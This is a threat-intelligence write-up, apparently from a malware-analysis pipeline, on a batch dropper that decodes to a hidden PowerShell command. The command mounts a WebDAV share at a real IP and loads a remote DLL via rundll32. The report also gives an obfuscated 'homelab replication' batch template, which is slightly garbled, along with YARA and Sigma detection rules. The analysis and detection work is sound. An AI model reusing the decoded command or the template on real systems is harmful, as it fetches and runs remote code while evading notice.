unclassified-js-webdav-dropper: 420bd100 — 60th confirmed sibling, drsyn-prefix batch with rundll32 entry execution

Executive Summary

A 2,138-byte Windows batch dropper that uses 36 SET variable assignments with a shared drsyn prefix to obfuscate a two-stage execution chain: color f0 && start wordpad decoy, then powershell.exe -windowstyle hidden wrapping net use to a WebDAV share and rundll32 proxy execution of a remote DLL. This is the 60th confirmed sibling in the unclassified-js-webdav-dropper cluster. Static-only analysis (CAPE skipped — ASCII text).

What It Is

• Filename: 810537711104415741.bat ^[triage.json]
• Type: ASCII text with CRLF line terminators, very long lines (1,254 chars) ^[file.txt]
• Size: 2,138 bytes ^[triage.json]
• Obfuscation: Batch SET variable expansion — 36 variables, all prefixed drsyn, mapping single characters ^[strings.txt:1]
• Execution: Pure batch; no JScript polyglot layer, no goto label, no sandbox gate
• Family: Confirmed sibling of unclassified-js-webdav-dropper (60th entry)

How It Works

Line 1 defines 36 environment variables in a single &&-chained statement. Each variable name is drsyn + 6 random lowercase letters, assigned a single character value. ^[strings.txt:1]

Line 2 expands those variables into two commands:

color f0 && start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\116.dll,entry

The decoded payload reveals: ^[strings.txt:2]

• Decoy: color f0 (black text on white background) followed by start wordpad to launch WordPad, lending a document-like appearance. ^[strings.txt:2]
• Wrapper: start powershell.exe -windowstyle hidden spawns PowerShell with no visible window. ^[strings.txt:2]
• Mount: net use \\45.9.74.32@8888\davwwwroot\ mounts the remote WebDAV share. ^[strings.txt:2]
• Execution: rundll32 \\45.9.74.32@8888\davwwwroot\116.dll,entry loads the remote DLL via the entry export, using rundll32 as a signed system-binary proxy. ^[strings.txt:2]

No persistence mechanism is present. The dropper is one-shot: runs, mounts, loads, and exits.

Decompiled Behavior

Not applicable. This sample is a plaintext batch script; neither Ghidra, capa, nor floss target non-PE files. ^[capa.txt] ^[floss.txt]

C2 Infrastructure

Interesting Tidbits

• Shared-prefix SET naming: All 36 variables begin with drsyn. This is a new prefix dialect in the family; prior pure-batch siblings used prefixes such as gomscz, hbutc, iqrstg, labzf, mnihx, nmnmd, nxbas, wdopm, gmaef, bixahl, edlcdp, ygfrlo, wdopm, or fully random noise strings. ^[entities/unclassified-js-webdav-dropper.md]
• No goto label: Unlike many batch siblings that jump to a :label after leading padding, this sample executes sequentially with no branching. Noise (the SET lines) executes as no-ops before the payload expansion.
• Minimal footprint: Three effective lines (one SET chain, one decoy, one PowerShell wrapper). No word-salad padding beyond the SET assignments themselves.
• Short payload name: 116.dll is unusually short; most siblings use longer numeric filenames (e.g., 24013635923706.dll, 1286194077305.dll).
• No persistence, no sandbox gate, no anti-analysis. Same low-friction tradecraft observed across the entire family.

How To Mess With It (Homelab Replication)

Goal: Build a minimal WebDAV dropper that stages a fake payload via rundll32 proxy execution, using SET variable expansion for obfuscation.

@echo off
setlocal EnableDelayedExpansion
set a1=e&set a2=c&set a3=h&set a4=o&set a5=n&set a6=t&set a7=r&set a8=y
set b1=p&set b2=o&set b3=w&set b4=e&set b5=r&set b6=s&set b7=h&set b8=e&set b9=l&set b10=l
set c1=n&set c2=e&set c3=t
set d1=u&set d2=s&set d3=e
%b1%%b2%%b3%%b4%%b5%%b6%%b7%%b8%%b9%%b10%.exe -%c1%%c2%%c3%%d1%%d2%%d3% \\<lan>@8080\davwwwroot\payload.dll,entry

Verification: Save as repro.bat, run in a VM with a local WebDAV server (e.g., wsgidav or IIS). Observe rundll32 spawning with the remote DLL path in command-line telemetry. Compare to the original: both use net use + rundll32 ...,entry with powershell.exe -windowstyle hidden wrapper.

Deployable Signatures

YARA

rule WebDAV_Batch_Dropper_Generic
{
    meta:
        description = "Batch WebDAV dropper using SET variable expansion to stage rundll32/regsvr32 proxy execution"
        author = "PacketPursuit"
        date = "2026-07-13"
        hash = "420bd100f588443dae4005c49f2fd0abbbea8ae8375046ba1bcbfd273c92541e"
    strings:
        $s1 = "net use \\\\" ascii wide
        $s2 = "davwwwroot" ascii wide
        $s3 = "regsvr32 /s" ascii wide
        $s4 = "rundll32" ascii wide
        $s5 = ".dll" ascii wide
        $s6 = "powershell.exe -windowstyle hidden" ascii wide
        $s7 = "start wordpad" ascii wide
        $set_pattern = /set [a-z]{4,}[a-z0-9]{4,}=/ ascii
    condition:
        filesize < 10KB and
        (#set_pattern >= 10) and
        (($s1 and $s3) or ($s1 and $s4))
}

Sigma

title: Batch WebDAV Dropper Execution
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        CommandLine|contains:
            - 'net use \\\\@'
            - 'davwwwroot'
            - 'regsvr32 /s \\\\@'
            - 'rundll32 \\\\@'
            - 'powershell.exe -windowstyle hidden'
            - 'start wordpad'
    condition: selection
falsepositives:
    - Rare legitimate administrative scripts using WebDAV and rundll32 together
level: high

IOC List

Behavioral Fingerprint

On execution, cmd.exe spawns wordpad.exe as a decoy, then launches powershell.exe with -windowstyle hidden. The PowerShell process issues net use to mount \\IP@8888\davwwwroot\, followed immediately by rundll32.exe loading a remote DLL via the entry export point. No registry writes, no scheduled tasks, no file drops to disk. One-shot, no persistence. Parent cmd.exe exits after spawning.

Detection Signatures

References

• SHA-256: 420bd100f588443dae4005c49f2fd0abbbea8ae8375046ba1bcbfd273c92541e
• Artifact ID: 9c455cbd-dddd-4226-8f7f-7d1776c9c302 ^[triage.json]
• Family entity: unclassified-js-webdav-dropper
• Technique: webdav-regsvr32-dll-sideloading
• Technique: batch-powershell-variable-expansion-obfuscation

Provenance

• file.txt — file utility output (file type identification)
• triage.json — triage pipeline metadata (filename, size, family, tier)
• strings.txt — raw batch script lines (obfuscated and expanded)
• capa.txt — capa error (non-PE, skipped)
• floss.txt — floss error (non-PE, skipped)
• dynamic-analysis.md — CAPE skipped (ASCII text, not a supported binary class)
• Decoded via custom Python re.sub variable expansion on strings.txt content.